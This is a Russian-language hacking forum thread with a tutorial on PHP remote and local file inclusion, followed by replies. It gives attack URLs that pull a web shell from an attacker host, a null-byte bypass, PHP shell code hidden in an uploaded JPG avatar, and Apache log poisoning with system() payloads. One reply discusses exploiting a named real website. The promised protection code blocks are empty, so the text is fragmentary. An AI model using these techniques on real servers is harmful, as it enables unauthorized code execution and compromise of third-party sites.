![]() |
PHP-include и способы защиты
Введение Всем привет! В этой статье я постараюсь рассказать все о php-include, собрав все что мне известно в одну статью. Буду рад любой критике, а также постараюсь дорабатывать со временем данную статью! Глобальный инклуд Наиболее опасная из уязвимостей веба, но к сожалению, или к счастью встречается в наше время крайне редко. Для атаки необходимо, что б функция allow_url_include была включена, тоесть On Уязвимость позволяет злоумышленнику выполнить на сервере произвольный php код. В PHP существуют четыре функции для включения файлов в сценарии PHP: * include(); * include_once(); * require(); * require_once(). Функция include() включает содержимое файла в сценарий. Рассмотрим пример "дважды" уязвимого кода: PHP код:
Код:
http://site.ru/index.php?page=http://hack.ru/shellбыла определенна раннее и злоумышленник может выполнить удаленно php код: Код:
http://site.ru/index.php?file=http://hack.ru/shellона проверяет, не был ли он включен ранее. Если файл уже был включен, вызов include_once() игнорируется, а если нет - происходит стандартное включение файла. PHP код:
Избавиться от расширения '.gif' можно двумя способами: 1) если magic_quotes_gpc = Off то можно использовать "ядовитый ноль" - %00 который отрежит расширение Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?Функция require() аналогична include(), за исключением одного - файл, определяемый параметром require(), включается в сценарий независимо от местонахождения require() в сценарии. PHP код:
Код:
http://site.ru/index.php?page=http://hack.ru/shell.phpФункция require_once() загружает файл в сценарий всего один раз. PHP код:
Теперь рассмотрим другой вариант инклуда. На этот раз необходимо, что б в файле php.ini значение параметра allow_url_fopen было равно On, что и есть по умолчанию. PHP код:
Код:
http://site.ru/index.php?file=http://hack.ru/shellСледующий пример - использование функции readfile() PHP код:
В итоге опять получаем веб-шелл: Код:
http://site.ru/index.php?file=http://hack.ru/shellТеперь рассмотрим такой вариант: PHP код:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.phpЗащита от глобальный инклудов Конечно можно проверять файл на существование с помощью функции file_exists() и отфильтровывать нежелательные символы с помощью str_replace(), но я рекомендую использовать конструкцию switch case: PHP код:
Цитата:
Локальный инклуд Не менее опасная уязвимость в вебе. Позволяет злоумышленнику инклудить файлы лежащие на сервере. Многие новички сталкиваясь с данной ошибкой веб-кодинга бросают дело, т.к не знают как действовать дальше и в какую сторону копать. Я приведу общий пример: PHP код:
Что же можно сделать? Идеальным считается тот случай, когда на сайте стоит или форум или иная форма, с помощью которой можно загрузить любой файл c любым расширением. Возникает вопрос - а почему с любым расширением? Возьмем к примеру вымышленный сайт на котором есть возможность загрузки аватарки через форум. На форуме стоит скрипт, который проверяет - действительно ли пользователь загрузил фотографию? Открываем paint и сохраняем любое изображение к примеру в формате jpg. После чего открываем его блокнотом и после кода изображения пишем <?php include("http://hack.ru/shell.php"); ?> В итоге получаем примерно такую картину: Цитата:
Вернемся к вопросу о расширении. Почему нам подойдет любое? Дело в том, что функция include() загружает код из одного файла в исполняемый файл. Вот пример: Код:
http://www.site.com/index.php?include=../forum/images/shell.jpgЛоги апатча Как известно apache ведет лог-файлы httpd-access.log и httpd-error.log и все запросы естественно логируются и пишутся в соответствующие файлы. Вот примерное их расположение: Цитата:
Цитата:
Код:
Z:\usr\local\apache\logs\access.logЦитата:
Код:
http://localhost/1.php?file=../../../../usr/local/apache/logs/access.logЗащита от локальных инклудов Вот небольшой примерчик, как можно надежно защититься: PHP код:
*************************************** PS Все что описано в статье я проверял на локалхосте. Надеюсь каждый из нее черпанет чего-нибудь новенького и интересного. Спасибо за внимание :) |
Гораздо проще выучить ООП. Нужда в подобных конструкциях отпадет.
|
TRUE PHP-injection - Вот эта статья мне нравится больше. Да и не пойму зачем писать по 100 раз об одном и том же..тема разжевана уже дальше некуда. Короче всё боян от начала до конца
|
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
Цитата:
|
Муххахах:
Код:
http://site.ru/index.php?file=http://hack.ru/shell.php%00А вот так можно и при мейджик квотс = он: Код:
http://site.ru/index.php?file=http://hack.ru/shell.php?Код:
Цитата:GET /index.php/<?php system($GET_[cmd]=dir); ?> HTTP/1.0 |
Цитата:
http://ru.wikipedia.org/wiki/Нуль-терминированная_строка |
я не сомневаюсь, что так будет работать, но зачем называть переменную $GET_[cmd]? Тем более, что ее назначить нельзя будет, т.е если просто написать
GET /index.php/<?php system(dir); ?> HTTP/1.0 результат тот же будет <?php system($_GET[cmd]) ?> неужели так сложно? |
Цитата:
Судя по этому посту автор просто не понимает, что вы ему пытаетесь объяснить. Он просто "не в теме" Мне например очень "понравилось" про шелл в картинке. Заливаем мы значит туда этот код : <?php @system($GET_[cmd] = "ls -la"); ?>, Цитата:
|
Цитата:
А в током случае есть решение ??? |
2 Vadim1
_http://autismcorner.com/Verhaal.php?dir=http://SleepSleepSleep.narod.ru&language=nl&file=1.php там просто чтение файла локальные файлы читать наврятли получится так как там папка /nl/ перед именем файла идёт, задается она переменной language но менять ее можно только на en,nl |
| Время: 15:05 |